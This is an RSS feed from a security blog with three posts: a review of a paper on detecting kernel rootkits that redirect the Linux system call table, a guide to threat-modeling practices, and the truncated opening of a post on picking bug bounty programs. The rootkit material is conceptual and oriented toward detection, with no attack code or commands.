<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>hacker Archives | Abdul Wahab Junaid</title>
	<atom:link href="https://awjunaid.com/tag/hacker/feed/" rel="self" type="application/rss+xml" />
	<link>https://awjunaid.com/tag/hacker/</link>
	<description>Offensive Security Researcher &#38; Quantum Cryptography Analyst</description>
	<lastBuildDate>Mon, 03 Aug 2026 05:00:46 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	

<image>
	<url>https://i0.wp.com/awjunaid.com/wp-content/uploads/2023/06/cropped-1668274976669.jpeg?fit=32%2C32&#038;ssl=1</url>
	<title>hacker Archives | Abdul Wahab Junaid</title>
	<link>https://awjunaid.com/tag/hacker/</link>
	<width>32</width>
	<height>32</height>
</image> 
<site xmlns="com-wordpress:feed-additions:1">220030102</site>	<item>
		<title>Detecting Kernel-Level Rootkits Through System Call Table Redirection: A Look Back at a Foundational Methodology</title>
		<link>https://awjunaid.com/cyber-security/detecting-kernel-level-rootkits-through-system-call-table-redirection-a-look-back-at-a-foundational-methodology/</link>
					<comments>https://awjunaid.com/cyber-security/detecting-kernel-level-rootkits-through-system-call-table-redirection-a-look-back-at-a-foundational-methodology/?noamp=mobile#respond</comments>
		
		<dc:creator><![CDATA[Abdul Wahab Junaid]]></dc:creator>
		<pubDate>Mon, 03 Aug 2026 05:00:42 +0000</pubDate>
				<category><![CDATA[Cyber Security]]></category>
		<category><![CDATA[cyber security]]></category>
		<category><![CDATA[hacker]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[kali linux]]></category>
		<category><![CDATA[linux]]></category>
		<guid isPermaLink="false">https://awjunaid.com/?p=15565</guid>

					<description><![CDATA[<p>Every rootkit tells the same lie. It sits between an application and the truth, and it decides what&#8230;</p>
<p>The post <a href="https://awjunaid.com/cyber-security/detecting-kernel-level-rootkits-through-system-call-table-redirection-a-look-back-at-a-foundational-methodology/">Detecting Kernel-Level Rootkits Through System Call Table Redirection: A Look Back at a Foundational Methodology</a> appeared first on <a href="https://awjunaid.com">Abdul Wahab Junaid</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p class="wp-block-paragraph">Every rootkit tells the same lie. It sits between an application and the truth, and it decides what that application gets to see. Ask the kernel for a directory listing, and the rootkit quietly removes its own files from the answer. Ask for a process list, and it drops its own PID before handing the results back. The application never knows it was lied to, because from its point of view, the kernel answered normally.</p>



<p class="wp-block-paragraph">That single idea — intercepting the boundary between user space and kernel space — is the whole game for kernel-level rootkits, and it&#8217;s the subject of a paper I keep coming back to: <em>A Methodology to Detect and Characterize Kernel Level Rootkit Exploits Involving Redirection of the System Call Table</em>, written by John Levine, Julian Grizzard, and Henry Owen at Georgia Tech&#8217;s School of Electrical and Computer Engineering. It&#8217;s an older paper, built and tested against Red Hat 8.0 running kernel 2.4.18-14, and it looks at rootkits like KNARK, SuckIT, and zk. But the underlying reasoning — trust the hardware, not the software, when you&#8217;re hunting for a compromise — still holds up, and it&#8217;s worth walking through carefully, both on its own terms and against what Linux rootkits actually look like today.</p>



<h2 class="wp-block-heading">What a Rootkit Actually Is (and Isn&#8217;t)</h2>



<p class="wp-block-paragraph">The paper opens with a definition worth restating because people get it wrong constantly: a rootkit does not get an attacker into a system. It keeps them in. A hacker needs root-level access <em>before</em> a rootkit can be installed. Once they have it, the rootkit&#8217;s job is to let them come back later without tripping any alarms, and to hide the evidence of their presence — files, processes, network connections — from the legitimate administrator.</p>



<p class="wp-block-paragraph">The authors borrow a taxonomy from earlier work on Trojans by Thimbleby, Anderson, and Cairns, who split malicious masquerading software into four categories: direct masquerades (pretending to be a normal program), simple masquerades (pretending to be a plausible program that doesn&#8217;t actually exist), slip masquerades (using a name close enough to an existing one to fool a quick glance), and environmental masquerades (already-running processes that a user wouldn&#8217;t easily recognize as foreign). Kernel rootkits fall squarely into the first category — a trojanized version of a real system function, standing in for the original.</p>



<h2 class="wp-block-heading">The Kernel Is the Real Target</h2>



<p class="wp-block-paragraph">Traditional binary rootkits swap out user-space utilities like <code>ls</code>, <code>ps</code>, or <code>netstat</code> with trojanized versions that lie about their output. That&#8217;s detectable, in principle, by comparing file hashes or checksums against a known-good baseline — which is exactly what file integrity checkers like Tripwire and AIDE were built to do.</p>



<p class="wp-block-paragraph">Kernel-level rootkits sidestep that defense entirely by attacking a layer below any user-space binary: the <strong>system call table</strong>. Every request an application makes to the kernel — read a file, fork a process, allocate memory — goes through a system call, or <code>sys_call</code>. The kernel keeps a table of addresses in memory, one per system call, pointing to the actual function that handles the request. If an attacker can quietly redirect entries in that table, they control what the kernel <em>tells</em> every application on the system, without touching a single file that a checksum tool would notice.</p>



<div class="wp-block-merpress-mermaidjs diagram-source-mermaid"><pre class="mermaid">flowchart LR
    A[User Application] -->|"sys_call(#N)"| B[System Call Table]
    B -->|normal system| C[sys_fork / sys_read / sys_execve ...]
    B -->|"rootkit redirects entry #N"| D[Attacker's Replacement Function]
    D -->|filters output, hides files/PIDs| E[Falsified Result Returned]
    C -->|honest result| F[Real Result Returned]
</pre></div>



<p class="wp-block-paragraph">The paper describes two distinct techniques attackers used to pull this off on Linux 2.4:</p>



<p class="wp-block-paragraph"><strong>1. Modifying individual entries in the system call table.</strong> A Loadable Kernel Module (LKM) — a legitimate Linux feature for extending kernel functionality at runtime without recompiling — is repurposed to overwrite selected addresses in the existing system call table with pointers to the attacker&#8217;s own functions. The table itself stays where it always was; only specific entries inside it point somewhere new. KNARK, released by CREED in 2001, is the paper&#8217;s example of this style.</p>



<p class="wp-block-paragraph"><strong>2. Redirecting the entire system call table to a new location.</strong> This is subtler. Rather than editing the original table in place, the rootkit builds a brand-new table somewhere else in kernel memory — containing a mix of the attacker&#8217;s malicious replacements and the original, untouched addresses for anything it doesn&#8217;t care about — and then overwrites the <em>pointer</em> that the kernel uses to find the table in the first place. One way to do this on the target systems studied is by writing directly to <code>/dev/kmem</code>, the device file that exposes raw kernel memory. Crucially, this method leaves the original system call table completely intact. Anyone who checks the original table for tampering finds nothing wrong, because the kernel isn&#8217;t even looking at that table anymore.</p>



<h2 class="wp-block-heading">Why This Beats Traditional Detection</h2>



<p class="wp-block-paragraph">That second technique is why kernel rootkits were such a headache for the tools available at the time. The paper walks through a live comparison, and it&#8217;s a genuinely useful case study in how a defense-in-depth mindset can still fail against the right attacker.</p>



<p class="wp-block-paragraph">They tested a Red Hat 8.0 system, first clean, then infected with the <strong>SuckIT</strong> rootkit — a program developed by &#8220;sd&#8221; and &#8220;devik,&#8221; documented in Phrack 58, notable for patching the kernel on the fly without needing LKM support at all. Three detection tools were run against the infected system:</p>



<ul class="wp-block-list">
<li><strong>chkrootkit</strong>, a signature-based shell script that checks system binaries and looks for known rootkit fingerprints, failed to detect SuckIT while it was actively running. It only caught traces of the rootkit <em>after</em> it had been uninstalled, because SuckIT&#8217;s file-hiding trick (renaming the real <code>/sbin/init</code> to a hidden filename and quietly substituting a lookalike) evaporated the moment the rootkit removed itself.</li>



<li><strong>AIDE</strong> (Advanced Intrusion Detection Environment), a file-integrity checker, noticed that attributes on <code>/sbin/telinit</code> had changed — but had no way to explain <em>why</em>, and gave no indication that the kernel itself, or the system call table, had been compromised. That&#8217;s the structural limit of any checksum-based tool: it tells you <em>that</em> something changed, never <em>what kind</em> of something.</li>



<li><strong>kern_check</strong>, a small Samhain Labs utility built specifically to compare the live system call table against the <code>/boot/System.map</code> file generated at kernel compile time, also missed SuckIT entirely — because SuckIT redirects the table pointer rather than editing the original table, and Samhain Labs themselves acknowledged the tool wasn&#8217;t built to catch that.</li>
</ul>



<p class="wp-block-paragraph">None of the three tools available at the time could reliably say &#8220;this system has a kernel rootkit, and here specifically is how it works.&#8221; That gap is exactly what the paper set out to close.</p>



<h2 class="wp-block-heading">Querying the Hardware Instead of Trusting the OS</h2>



<p class="wp-block-paragraph">The methodology&#8217;s central trick is elegant: instead of asking the (possibly compromised) kernel where its own system call table lives, ask the CPU directly.</p>



<p class="wp-block-paragraph">Every x86 system call passes through a specific interrupt — <code>int $0x80</code> — and the processor&#8217;s Interrupt Descriptor Table (IDT) holds the true address of the routine that handles it. That IDT entry points to the <code>system_call()</code> function, and buried inside that function&#8217;s disassembled machine code is an indirect call instruction: <code>call *sys_call_table(,%eax,4)</code>. That instruction contains, as literal encoded bytes, the actual address the kernel is using <em>right now</em> to look up system calls — regardless of what any file on disk claims that address should be.</p>



<p class="wp-block-paragraph">The authors use the <code>sidt</code> x86 assembly instruction (the same trick SuckIT itself uses internally) to retrieve the IDT, walk to the <code>system_call()</code> entry point, and extract the operand of that <code>call</code> instruction directly from live kernel memory. That gives them the address the CPU is genuinely dereferencing on every system call — a ground truth that no amount of table redirection can hide, because the rootkit still has to funnel every syscall through this exact instruction to keep the system functioning normally.</p>



<div class="wp-block-merpress-mermaidjs diagram-source-mermaid"><pre class="mermaid">sequenceDiagram
    participant CPU as CPU / IDT
    participant SC as system_call() function
    participant SCT as Live System Call Table
    participant Map as /boot/System.map

    Note over CPU: sidt retrieves IDT base
    CPU->>SC: Locate system_call() entry point
    SC->>SCT: Extract address from&lt;br/>"call *sys_call_table(,%eax,4)"
    Note over SCT: This is the address&lt;br/>the kernel actually uses
    SCT->>Map: Compare against compiled-in address
    alt Addresses match, but individual entries differ
        Note over Map: Rootkit modifies table in place
    else Addresses do not match at all
        Note over Map: Rootkit redirects to new table
    end
</pre></div>



<p class="wp-block-paragraph">Once that live address is in hand, it gets compared against the address recorded in <code>/boot/System.map</code>, the symbol map generated when the kernel was originally compiled. The comparison produces one of two diagnostic outcomes:</p>



<ul class="wp-block-list">
<li>If the retrieved address <strong>matches</strong> <code>/boot/System.map</code>, but individual entries within the table point somewhere unexpected — a rootkit is modifying the original system call table in place (the KNARK-style attack).</li>



<li>If the retrieved address <strong>does not match</strong> <code>/boot/System.map</code> at all — the entire table has been redirected to a new location in kernel memory (the SuckIT-style attack).</li>
</ul>



<p class="wp-block-paragraph">Either way, the analyst now knows not just <em>that</em> the system is compromised, but <em>which class</em> of kernel rootkit is responsible. The authors modified Samhain&#8217;s original <code>kern_check</code> utility to implement this comparison and ran it against a SuckIT-infected system, correctly flagging 25 redirected system calls and reporting the new table&#8217;s address in kernel memory — a result the original, unmodified <code>kern_check</code> was structurally incapable of producing.</p>



<h2 class="wp-block-heading">A Mathematical Framework for &#8220;Is This the Same Rootkit?&#8221;</h2>



<p class="wp-block-paragraph">Detecting a compromise is only half the paper&#8217;s contribution. The other half is a framework for answering a more subtle question: once you&#8217;ve found a rootkit, is it one you&#8217;ve already seen, a modified version of one you&#8217;ve seen, or something genuinely new?</p>



<p class="wp-block-paragraph">The authors build this on set theory. Let $p_1$ be the set of original, legitimate programs, and $p_2$ be the malicious replacement installed by the rootkit. Because a functioning rootkit must preserve all of the original program&#8217;s behavior while adding its own hidden capabilities, $p_1$ is necessarily a proper subset of $p_2$:</p>



<p class="wp-block-paragraph">$$p_1 \subset p_2, \quad \text{since } p_1 \subseteq p_2 \text{ and } p_1 \neq p_2$$</p>



<p class="wp-block-paragraph">The interesting object is the <em>delta</em>, written $\nabla$ — the set of elements present in $p_2$ but absent from $p_1$:</p>



<p class="wp-block-paragraph">$$p_2 \setminus p_1 = p&#8217; = \nabla$$</p>



<p class="wp-block-paragraph">$\nabla$ is effectively the rootkit&#8217;s fingerprint: the specific added functionality — new hooked syscalls, backdoor triggers, hidden PID logic — that distinguishes the trojanized program from the legitimate one it&#8217;s impersonating. Once you have a $\nabla$ for a known rootkit, you can classify any newly discovered suspect $p_3$ against it:</p>



<ul class="wp-block-list">
<li>If $p_3 &#8211; (\nabla \cap p_3) = p_1$, then $p_3$ contains exactly the same added elements as the known rootkit — it&#8217;s the <em>same</em> exploit.</li>



<li>If some but not all elements of $\nabla$ appear in $p_3$ (written $\nabla \in p_3$), it&#8217;s a <em>modification</em> of the known rootkit.</li>



<li>If none of $\nabla$&#8217;s elements appear in $p_3$ (written $\nabla \notin p_3$), it&#8217;s classified as an <em>entirely new</em> rootkit.</li>
</ul>



<p class="wp-block-paragraph">The paper puts this to work on a genuinely interesting comparison: SuckIT versus a related rootkit called <strong>zk</strong>, whose own documentation admits it borrowed SuckIT&#8217;s kernel-patching approach. Running the modified <code>kern_check</code> against a zk-infected system showed the exact same 25 system calls being subverted as SuckIT — strong evidence of shared lineage. But zk&#8217;s uninstall command failed where SuckIT&#8217;s succeeded, which was the first real behavioral $\nabla$ between the two. Digging into zk&#8217;s source with <code>grep</code> for the string <code>"password"</code> turned up a hardcoded uninstall password — <code>"kill me"</code> — buried in <code>client.c</code>, something SuckIT&#8217;s own equivalent file didn&#8217;t contain. That password became a usable signature for identifying zk specifically, separate from SuckIT, even though the two share the bulk of their kernel-patching mechanics.</p>



<h2 class="wp-block-heading">Why the System Call Table Method Eventually Stopped Being Enough</h2>



<p class="wp-block-paragraph">The paper is honest about its own limits, and reading it today, those limits map almost exactly onto how the Linux kernel evolved afterward. The authors note that <code>kern_check</code> already failed against the Linux 2.6 kernel, because 2.6 stopped exporting the system call table&#8217;s address via <code>query_module</code> specifically to prevent race conditions during dynamic replacement of syscall addresses by loadable modules. That single kernel change quietly broke an entire generation of detection tools built around comparing exported symbols.</p>



<p class="wp-block-paragraph">That trajectory has continued for two decades. Direct writes to <code>/dev/kmem</code> — the technique SuckIT relied on — have been closed off entirely on modern Linux; <code>/dev/kmem</code> was removed from the mainline kernel years ago, and <code>/dev/mem</code> access to general kernel memory is restricted by <code>CONFIG_STRICT_DEVMEM</code>. Kernel module signing, Secure Boot chains, and Linux Security Modules make an unsigned, unverified LKM far louder and harder to load quietly than it was in 2003. According to recent security research from Elastic Security Labs, classic syscall-table-hooking LKM rootkits like <strong>Diamorphine</strong> (2016) and <strong>Reptile</strong> (2020) are still found in the wild — but attackers increasingly treat raw syscall table overwrites as a last resort rather than a first move, precisely because that technique is now well-instrumented and reliably flagged by tainted-kernel checks, <code>/proc/modules</code> auditing, and specialized LKM scanners.</p>



<p class="wp-block-paragraph">Where the field has actually moved is toward attacking legitimate kernel instrumentation frameworks instead of the syscall table directly. <strong>eBPF</strong> — originally built for safe, verified packet filtering and performance tracing — lets a program attach to kprobes, tracepoints, and LSM hooks <em>without loading a kernel module at all</em>, which sidesteps module-signing defenses entirely. Rootkits such as <strong>PUMAKIT</strong> (documented in late 2024) and a 2025 in-the-wild implant called <strong>LinkPro</strong> use eBPF programs to intercept calls like <code>getdents</code> (to hide files and processes) and even to hide their <em>own</em> eBPF programs from introspection via <code>sys_bpf</code>. Some go further still, abusing <strong>io_uring</strong> — the asynchronous I/O interface introduced in Linux 5.1 — to batch operations in ways that generate almost no observable syscall events at all, which is what an experimental 2025 proof-of-concept called RingReaper demonstrated against tools that assume syscall-level tracing catches everything. And on the defensive side, a late-2025 <em>ScienceDirect</em> paper on a system called HKRD proposes using eBPF itself, defensively, to validate syscall table addresses continuously and catch direct kernel object manipulation — essentially the same &#8220;check the live address against the true one&#8221; instinct from the Georgia Tech paper, reimplemented with a modern, verifier-checked kernel framework instead of raw <code>/dev/kmem</code> access.</p>



<p class="wp-block-paragraph">The throughline across all of this — 2004 to 2026 — hasn&#8217;t actually changed: a kernel rootkit has to funnel legitimate operations through some interception point to hide anything, and that interception point, however cleverly hidden, has to be reachable at the hardware or kernel-instrumentation level by anyone willing to go around the operating system&#8217;s own reporting mechanisms rather than trust them. What&#8217;s changed is <em>which</em> interception point attackers use, and how much cover modern kernel instrumentation gives them while doing it.</p>



<h2 class="wp-block-heading">Practical Takeaways for Anyone Doing This Kind of Work Today</h2>



<p class="wp-block-paragraph">A few lessons from this paper are worth carrying forward regardless of which kernel version or hooking technique is in play:</p>



<ul class="wp-block-list">
<li><strong>File integrity checkers tell you something changed, not what changed it.</strong> AIDE flagging <code>/sbin/telinit</code> in the paper&#8217;s SuckIT test is a perfect illustration — true, useful, and completely insufficient on its own. Pairing integrity monitoring with something that inspects live kernel state (or, today, host-based eBPF telemetry from tools designed for exactly this) closes that gap.</li>



<li><strong>Signature-based scanners are only as good as their signature database, and rootkits actively exploit that fact.</strong> chkrootkit missing SuckIT while it was running, then catching it only after uninstall, is a direct consequence of a rootkit author designing specifically around a known detector&#8217;s blind spots. The same dynamic plays out today between eBPF-based rootkits and eBPF-naive monitoring stacks.</li>



<li><strong>Prefer ground truth from hardware or a verified low-level source over anything the OS chooses to report.</strong> Querying the IDT directly, rather than trusting <code>query_module</code> or a userland utility, is the same instinct behind modern memory forensics approaches that read kernel structures out of a raw memory image rather than trusting a live, possibly-compromised OS to describe itself accurately.</li>



<li><strong>Behavioral deltas are durable signatures even when byte-level signatures aren&#8217;t.</strong> The zk-versus-SuckIT comparison in this paper — spotting a hardcoded password difference through source review rather than a static hash match — is conceptually close to the API-call-sequence approach used in behavior-based malware detection more broadly. If you&#8217;re comparing binaries for common ancestry, tools like <a href="https://awjunaid.com/kali-linux/hashdeep-a-tool-for-computing-and-verifying-hash-values-of-files-in-a-directory/">hashdeep</a> are a fast first pass for flagging exact matches, but genuine lineage analysis — the $\nabla$ concept from this paper — usually needs a deeper look with something like <a href="https://awjunaid.com/kali-linux/autopsy-a-digital-forensics-tool-for-analyzing-hard-drives-and-smartphones-for-evidence/">Autopsy</a> or manual source-level review, exactly as the authors did when they grepped <code>client.c</code> for the string that gave zk away.</li>



<li><strong>Registry and configuration hive artifacts matter on the Windows side of this same problem.</strong> Kernel-mode rootkit concealment isn&#8217;t a Linux-only concern, and when an incident spans a mixed environment, offline artifact review — the same philosophy behind tools like <a href="https://awjunaid.com/kali-linux/chntpw-resets-windows-passwords/">chntpw</a> for pulling data out of a Windows registry hive without trusting a live, possibly-compromised OS to hand it over honestly — follows the identical logic as querying the IDT instead of <code>query_module</code>: don&#8217;t ask a system that might be lying to describe itself.</li>
</ul>



<h2 class="wp-block-heading">Closing Thought</h2>



<p class="wp-block-paragraph">What makes this paper worth reading in 2026 isn&#8217;t the specific tools it built — <code>kern_check</code> for the 2.4 kernel is a historical artifact at this point, and neither SuckIT nor zk pose any real threat to a modern, signed, lockdown-mode kernel. What&#8217;s worth keeping is the underlying discipline: when you suspect a rootkit, don&#8217;t ask the operating system to grade its own homework. Find the one piece of ground truth the attacker <em>cannot</em> fake without breaking the very functionality they&#8217;re trying to preserve, and check that instead. Twenty years on, whether the interception point is a syscall table pointer, an eBPF program hooked into <code>getdents</code>, or a batch of disguised <code>io_uring</code> operations, that&#8217;s still the only reliable way to catch something that was specifically engineered to lie to you.</p>



<h2 class="wp-block-heading">Reference</h2>



<p class="wp-block-paragraph">Levine, J., Grizzard, J., &amp; Owen, H. (2004). <em>A Methodology to Detect and Characterize Kernel Level Rootkit Exploits Involving Redirection of the System Call Table</em>. School of Electrical and Computer Engineering, Georgia Institute of Technology.</p>
<p>The post <a href="https://awjunaid.com/cyber-security/detecting-kernel-level-rootkits-through-system-call-table-redirection-a-look-back-at-a-foundational-methodology/">Detecting Kernel-Level Rootkits Through System Call Table Redirection: A Look Back at a Foundational Methodology</a> appeared first on <a href="https://awjunaid.com">Abdul Wahab Junaid</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://awjunaid.com/cyber-security/detecting-kernel-level-rootkits-through-system-call-table-redirection-a-look-back-at-a-foundational-methodology/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">15565</post-id>	</item>
		<item>
		<title>Threat Modeling Best Practices</title>
		<link>https://awjunaid.com/devsecops/threat-modeling-best-practices/</link>
					<comments>https://awjunaid.com/devsecops/threat-modeling-best-practices/?noamp=mobile#respond</comments>
		
		<dc:creator><![CDATA[Abdul Wahab Junaid]]></dc:creator>
		<pubDate>Mon, 03 Aug 2026 04:04:37 +0000</pubDate>
				<category><![CDATA[DevSecOps]]></category>
		<category><![CDATA[hacker]]></category>
		<category><![CDATA[linux]]></category>
		<guid isPermaLink="false">https://awjunaid.com/?p=15530</guid>

					<description><![CDATA[<p>I&#8217;ve sat through threat modeling sessions that produced genuinely great insights, and I&#8217;ve sat through ones that felt&#8230;</p>
<p>The post <a href="https://awjunaid.com/devsecops/threat-modeling-best-practices/">Threat Modeling Best Practices</a> appeared first on <a href="https://awjunaid.com">Abdul Wahab Junaid</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p class="wp-block-paragraph">I&#8217;ve sat through threat modeling sessions that produced genuinely great insights, and I&#8217;ve sat through ones that felt like a box-checking exercise nobody believed in. The difference almost never comes down to which framework was used — STRIDE, PASTA, or something homegrown. It comes down to a handful of practical habits that separate threat modeling that actually changes what gets built from threat modeling that just generates a document nobody opens again. This article collects the best practices I&#8217;ve found actually move the needle.</p>



<h2 class="wp-block-heading">Start With the Right Scope</h2>



<p class="wp-block-paragraph">The single biggest mistake I see is trying to threat model an entire complex system in one sitting. Scope sessions narrowly — a single service, a single new feature, a single significant architecture change. A focused thirty-minute session on one component produces more actionable output than a sprawling three-hour session trying to cover everything at once.</p>



<h2 class="wp-block-heading">Build a Simple, Accurate Data Flow Diagram First</h2>



<p class="wp-block-paragraph">Every effective threat modeling session I&#8217;ve run started with a diagram, even a rough one drawn on a whiteboard: what are the components, where does data enter and exit, where are the trust boundaries. Skipping this step and jumping straight to &#8220;what could go wrong&#8221; tends to produce a scattered, incomplete list rather than a systematic one.</p>



<div class="wp-block-merpress-mermaidjs diagram-source-mermaid"><pre class="mermaid">flowchart LR
    U[External User] -->|HTTPS| GW[API Gateway]
    GW -->|Auth check| AS[Auth Service]
    GW -->|Request| BE[Backend Service]
    BE -->|Query| DB[(Database)]
    BE -->|Call| EXT[Third-Party API]
</pre></div>



<p class="wp-block-paragraph">Even a simple diagram like this immediately surfaces trust boundaries worth examining: the external user to gateway boundary, the backend to third-party API boundary, and the backend to database boundary each deserve their own focused threat analysis.</p>



<h2 class="wp-block-heading">Involve the People Who Actually Build the System</h2>



<p class="wp-block-paragraph">Threat modeling run exclusively by a security team, disconnected from the engineers who wrote the code, consistently misses edge cases that only the implementers know about. The best sessions I&#8217;ve been part of had developers actively contributing — they know where the corners were cut, which third-party library behaves unpredictably, and which &#8220;temporary&#8221; workaround has quietly become permanent infrastructure.</p>



<h2 class="wp-block-heading">Use a Consistent, Repeatable Methodology</h2>



<p class="wp-block-paragraph">Whether you choose STRIDE for fast, component-level analysis or PASTA for a deeper, risk-centric process on high-stakes systems, consistency matters more than which specific framework you pick. A team that reliably applies the same lightweight process every sprint will catch more real threats than a team that occasionally attempts an exhaustive process and then abandons it under deadline pressure.</p>



<h2 class="wp-block-heading">Prioritize by Realistic Likelihood and Impact, Not Just Severity</h2>



<p class="wp-block-paragraph">Not every identified threat deserves equal attention. A theoretical vulnerability requiring insider access and three chained conditions is a very different priority than a straightforward, remotely exploitable authentication bypass. Rank threats by a genuine combination of how likely they are to be exploited in your actual environment and how much damage they&#8217;d cause if they were.</p>



<h2 class="wp-block-heading">Turn Findings Into Trackable Work</h2>



<p class="wp-block-paragraph">A threat model that lives only in a meeting&#8217;s notes changes nothing. Every significant threat identified should turn into a backlog item with an owner, a priority, and a due date — tracked the exact same way you&#8217;d track any other engineering work, not filed separately where it&#8217;s easy to forget.</p>



<h2 class="wp-block-heading">Revisit the Model as the System Changes</h2>



<p class="wp-block-paragraph">Architecture drifts. New integrations get added, old ones get deprecated, authentication mechanisms change. A threat model from a year ago describing a system that no longer exists provides false confidence. Set a cadence — triggered by significant architecture changes, and backstopped by a regular quarterly review — to keep models current.</p>



<div class="wp-block-merpress-mermaidjs diagram-source-mermaid"><pre class="mermaid">flowchart TD
    A[Initial threat model created] --> B[Mitigations tracked and implemented]
    B --> C[System in production]
    C --> D{Significant architecture change?}
    D -->|Yes| E[Targeted re-review of affected components]
    D -->|No| F[Scheduled quarterly review]
    E --> B
    F --> B
</pre></div>



<h2 class="wp-block-heading">Ground Threats in Real Attacker Behavior</h2>



<p class="wp-block-paragraph">Abstract, hypothetical threats are easy to dismiss under deadline pressure. Threats grounded in real-world attack patterns — informed by actual incident reports, threat intelligence, and known techniques — carry far more weight in prioritization conversations. My guide to &lt;a href=&#8221;https://awjunaid.com/ethical-hacking/extended-penetration-testing-cheatsheet/&#8221; target=&#8221;_blank&#8221; rel=&#8221;noopener&#8221;&gt;penetration testing methodology&lt;/a&gt; is a useful reference for understanding how attackers actually chain reconnaissance, exploitation, and post-exploitation steps together in practice, which helps make threat modeling scenarios concrete rather than abstract.</p>



<h2 class="wp-block-heading">Don&#8217;t Over-Engineer the Process</h2>



<p class="wp-block-paragraph">I&#8217;ve seen teams build elaborate, heavyweight threat modeling processes that collapse under their own weight the first time a deadline gets tight. A lightweight process that actually happens consistently beats an ideal process that gets skipped whenever the team is busy — which is, unfortunately, most of the time.</p>



<h2 class="wp-block-heading">Common Mistakes That Undermine Threat Modeling</h2>



<ol class="wp-block-list">
<li><strong>Scoping sessions too broadly</strong>, trying to cover an entire system in one sitting.</li>



<li><strong>Skipping the data flow diagram</strong> and jumping straight to brainstorming threats.</li>



<li><strong>Running sessions without the actual developers</strong> who built or maintain the system.</li>



<li><strong>Identifying threats but never tracking mitigations</strong> as real, prioritized work.</li>



<li><strong>Treating the threat model as a one-time artifact</strong> rather than a living document.</li>



<li><strong>Prioritizing purely by technical severity</strong> without considering realistic likelihood or business impact.</li>



<li><strong>Choosing an overly heavyweight process</strong> that the team can&#8217;t sustain consistently.</li>
</ol>



<h2 class="wp-block-heading">Best Practices Checklist</h2>



<ul class="wp-block-list">
<li>Scope each session to a single component, feature, or significant change.</li>



<li>Always start with a simple, accurate data flow diagram.</li>



<li>Involve developers, not just security specialists.</li>



<li>Use a consistent methodology appropriate to the system&#8217;s risk level.</li>



<li>Prioritize by realistic likelihood and business impact.</li>



<li>Track every meaningful finding as backlog work with an owner.</li>



<li>Revisit the model on both a triggered and scheduled cadence.</li>



<li>Ground scenarios in real attacker behavior and threat intelligence where possible.</li>



<li>Keep the process lightweight enough to actually happen consistently.</li>
</ul>



<h2 class="wp-block-heading">FAQs</h2>



<p class="wp-block-paragraph"><strong>How do I get buy-in from a team that sees threat modeling as a waste of time?</strong> Start with a small, focused session on a real, current feature rather than an abstract exercise, and make sure at least one identified threat turns into a visible, appreciated fix — a concrete win builds far more buy-in than a theoretical pitch.</p>



<p class="wp-block-paragraph"><strong>Should threat modeling happen before or after code is written?</strong> Ideally before, at the design stage, since it&#8217;s far cheaper to address a threat in architecture than to refactor code after the fact. That said, retroactive threat modeling on existing systems is still valuable and often overdue.</p>



<p class="wp-block-paragraph"><strong>How detailed does a data flow diagram need to be?</strong> Detailed enough to clearly show trust boundaries and major data flows — a rough whiteboard sketch is often sufficient; you don&#8217;t need a polished, comprehensive architecture diagram to get real value.</p>



<p class="wp-block-paragraph"><strong>What&#8217;s a realistic cadence for revisiting threat models?</strong> Trigger a targeted review whenever a significant architecture change happens, and backstop that with a scheduled review — quarterly is a common, sustainable cadence for most teams.</p>



<h2 class="wp-block-heading">Conclusion</h2>



<p class="wp-block-paragraph">The frameworks matter less than the habits. Scoping sessions narrowly, starting with an accurate diagram, involving the people who actually build the system, and turning findings into tracked work are what separate threat modeling that genuinely shapes what gets built from threat modeling that becomes an ignored document. Keep the process lightweight enough to survive contact with a real deadline, and it&#8217;ll earn its place as one of the highest-leverage habits a security-conscious engineering team can build.</p>
<p>The post <a href="https://awjunaid.com/devsecops/threat-modeling-best-practices/">Threat Modeling Best Practices</a> appeared first on <a href="https://awjunaid.com">Abdul Wahab Junaid</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://awjunaid.com/devsecops/threat-modeling-best-practices/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">15530</post-id>	</item>
		<item>
		<title>Not All Bug Bounty Programs Are the Same: Finding Your Target</title>
		<link>https://awjunaid.com/books/not-all-bug-bounty-programs-are-the-same-finding-your-target/</link>
					<comments>https://awjunaid.com/books/not-all-bug-bounty-programs-are-the-same-finding-your-target/?noamp=mobile#respond</comments>
		
		<dc:creator><![CDATA[Abdul Wahab Junaid]]></dc:creator>
		<pubDate>Mon, 10 Nov 2025 17:59:17 +0000</pubDate>
				<category><![CDATA[Books]]></category>
		<category><![CDATA[hacker]]></category>
		<category><![CDATA[linux]]></category>
		<guid isPermaLink="false">https://awjunaid.com/?p=11397</guid>

					<description><![CDATA[<p>Finding the right bug bounty program to target is the crucial first step to becoming a successful bug&#8230;</p>
<p>The post <a href="https://awjunaid.com/books/not-all-bug-bounty-programs-are-the-same-finding-your-target/">Not All Bug Bounty Programs Are the Same: Finding Your Target</a> appeared first on <a href="https://awjunaid.com">Abdul Wahab Junaid</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p class="wp-block-paragraph">Finding the right bug bounty program to target is the crucial <strong>first step</strong> to becoming a successful bug bounty hunter. With the rapid emergence of many programs over the past few years, it&#8217;s challenging to figure out which ones will provide the best <strong>monetary rewards, experience, and learning opportunities</strong>.</p>



<p class="wp-block-paragraph">A <strong>bug bounty program</strong> is an initiative in which a company invites ethical hackers to attack its products and service offerings to find security vulnerabilities. But how should you pick a program? And how should you prioritize their different metrics, such as the asset types involved, whether the program is hosted on a platform, whether it’s public or private, the program’s scope, the payout amounts, and response times</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



